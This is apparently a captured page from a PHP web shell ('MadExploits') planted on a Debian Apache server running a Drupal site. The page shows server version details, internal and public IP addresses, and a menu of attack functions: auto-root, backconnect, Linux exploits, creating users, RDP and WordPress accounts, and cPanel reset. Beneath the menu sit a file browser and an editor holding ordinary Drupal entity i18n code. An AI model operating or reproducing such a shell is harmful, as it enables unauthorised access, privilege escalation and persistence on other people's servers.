Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.227.72.27
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
entity /
[ HOME SHELL ]
Name
Size
Permission
Action
ctools
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
theme
[ DIR ]
drwxr-xr-x
views
[ DIR ]
drwxr-xr-x
LICENSE.txt
17.67
KB
-rw-r--r--
README.txt
6.89
KB
-rw-r--r--
entity.api.php
24.3
KB
-rw-r--r--
entity.features.inc
5.91
KB
-rw-r--r--
entity.i18n.inc
6.8
KB
-rw-r--r--
entity.info
1.42
KB
-rw-r--r--
entity.info.inc
8.74
KB
-rw-r--r--
entity.install
4.18
KB
-rw-r--r--
entity.module
52.69
KB
-rw-r--r--
entity.rules.inc
4.15
KB
-rw-r--r--
entity.test
88.92
KB
-rw-r--r--
entity_token.info
378
B
-rw-r--r--
entity_token.module
93
B
-rw-r--r--
entity_token.tokens.inc
12.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : entity.i18n.inc
<?php /** * @file * Internationalization (i18n) integration. */ /** * Gets the i18n controller for a given entity type. * * @return EntityDefaultI18nStringController|array|false * If a type is given, the controller for the given entity type. Else an array * of all enabled controllers keyed by entity type is returned. */ function entity_i18n_controller($type = NULL) { $static = &drupal_static(__FUNCTION__); if (!isset($type)) { // Invoke the function for each type to ensure we have fully populated the // static variable. foreach (entity_get_info() as $entity_type => $info) { entity_i18n_controller($entity_type); } return array_filter($static); } if (!isset($static[$type])) { $info = entity_get_info($type); // Do not activate it by default. Modules have to explicitly enable it by // specifying EntityDefaultI18nStringController or their customization. $class = isset($info['i18n controller class']) ? $info['i18n controller class'] : FALSE; $static[$type] = $class ? new $class($type, $info) : FALSE; } return $static[$type]; } /** * Implements hook_i18n_string_info(). */ function entity_i18n_string_info() { $groups = array(); foreach (entity_i18n_controller() as $entity_type => $controller) { $groups += $controller->hook_string_info(); } return $groups; } /** * Implements hook_i18n_object_info(). */ function entity_i18n_object_info() { $info = array(); foreach (entity_i18n_controller() as $entity_type => $controller) { $info += $controller->hook_object_info(); } return $info; } /** * Implements hook_i18n_string_objects(). */ function entity_i18n_string_objects($type) { if ($controller = entity_i18n_controller($type)) { return $controller->hook_string_objects(); } } /** * Default controller handling i18n integration. * * Implements i18n string translation for all non-field properties marked as * 'translatable' and having the flag 'i18n string' set. This translation * approach fits in particular for translating configuration, i.e. exportable * entities. * * Requirements for the default controller: * - The entity type providing module must be specified using the 'module' key * in hook_entity_info(). * - An 'entity class' derived from the provided class 'Entity' must be used. * - Properties must be declared as 'translatable' and the 'i18n string' flag * must be set to TRUE using hook_entity_property_info(). * - i18n must be notified about changes manually by calling * i18n_string_object_update(), i18n_string_object_remove() and * i18n_string_update_context(). Ideally, this is done in a small integration * module depending on the entity API and i18n_string. Look at the provided * testing module "entity_test_i18n" for an example. * - If the entity API admin UI is used, the "translate" tab will be * automatically enabled and linked from the UI. * - There are helpers for getting translated values which work regardless * whether the i18n_string module is enabled, i.e. entity_i18n_string() * and Entity::getTranslation(). * * Current limitations: * - Translatable property values cannot be updated via the metadata wrapper, * however reading works fine. See Entity::getTranslation(). */ class EntityDefaultI18nStringController { protected $entityType, $entityInfo; /** * The i18n textgroup we are using. */ protected $textgroup; public function __construct($type) { $this->entityType = $type; $this->entityInfo = entity_get_info($type); // By default we go with the module name as textgroup. $this->textgroup = $this->entityInfo['module']; } /** * Implements hook_i18n_string_info() via entity_i18n_string_info(). */ public function hook_string_info() { $list = system_list('module_enabled'); $info = $list[$this->textgroup]->info; $groups[$this->textgroup] = array( 'title' => $info['name'], 'description' => !empty($info['description']) ? $info['description'] : NULL, 'format' => FALSE, 'list' => TRUE, ); return $groups; } /** * Implements hook_i18n_object_info() via entity_i18n_object_info(). * * Go with the same default values as the admin UI as far as possible. */ public function hook_object_info() { $wildcard = $this->menuWildcard(); $id_key = !empty($this->entityInfo['entity keys']['name']) ? $this->entityInfo['entity keys']['name'] : $this->entityInfo['entity keys']['id']; $info[$this->entityType] = array( // Generic object title. 'title' => $this->entityInfo['label'], // The object key field. 'key' => $id_key, // Placeholders for automatic paths. 'placeholders' => array( $wildcard => $id_key, ), // Properties for string translation. 'string translation' => array( // Text group that will handle this object's strings. 'textgroup' => $this->textgroup, // Object type property for string translation. 'type' => $this->entityType, // Translatable properties of these objects. 'properties' => $this->translatableProperties(), ), ); // Integrate the translate tab into the admin-UI if enabled. if ($base_path = $this->menuBasePath()) { $info[$this->entityType] += array( // To produce edit links automatically. 'edit path' => $base_path . '/manage/' . $wildcard, // Auto-generate translate tab. 'translate tab' => $base_path . '/manage/' . $wildcard . '/translate', ); $info[$this->entityType]['string translation'] += array( // Path to translate strings to every language. 'translate path' => $base_path . '/manage/' . $wildcard . '/translate/%i18n_language', ); } return $info; } /** * Defines the menu base path used by self::hook_object_info(). */ protected function menuBasePath() { return !empty($this->entityInfo['admin ui']['path']) ? $this->entityInfo['admin ui']['path'] : FALSE; } /** * Defines the menu wildcard used by self::hook_object_info(). */ protected function menuWildcard() { return isset($this->entityInfo['admin ui']['menu wildcard']) ? $this->entityInfo['admin ui']['menu wildcard'] : '%entity_object'; } /** * Defines translatable properties used by self::hook_object_info(). */ protected function translatableProperties() { $list = array(); foreach (entity_get_all_property_info($this->entityType) as $name => $info) { if (!empty($info['translatable']) && !empty($info['i18n string'])) { $list[$name] = array( 'title' => $info['label'], ); } } return $list; } /** * Implements hook_i18n_string_objects() via entity_i18n_string_objects(). */ public function hook_string_objects() { return entity_load_multiple_by_name($this->entityType, FALSE); } }
Close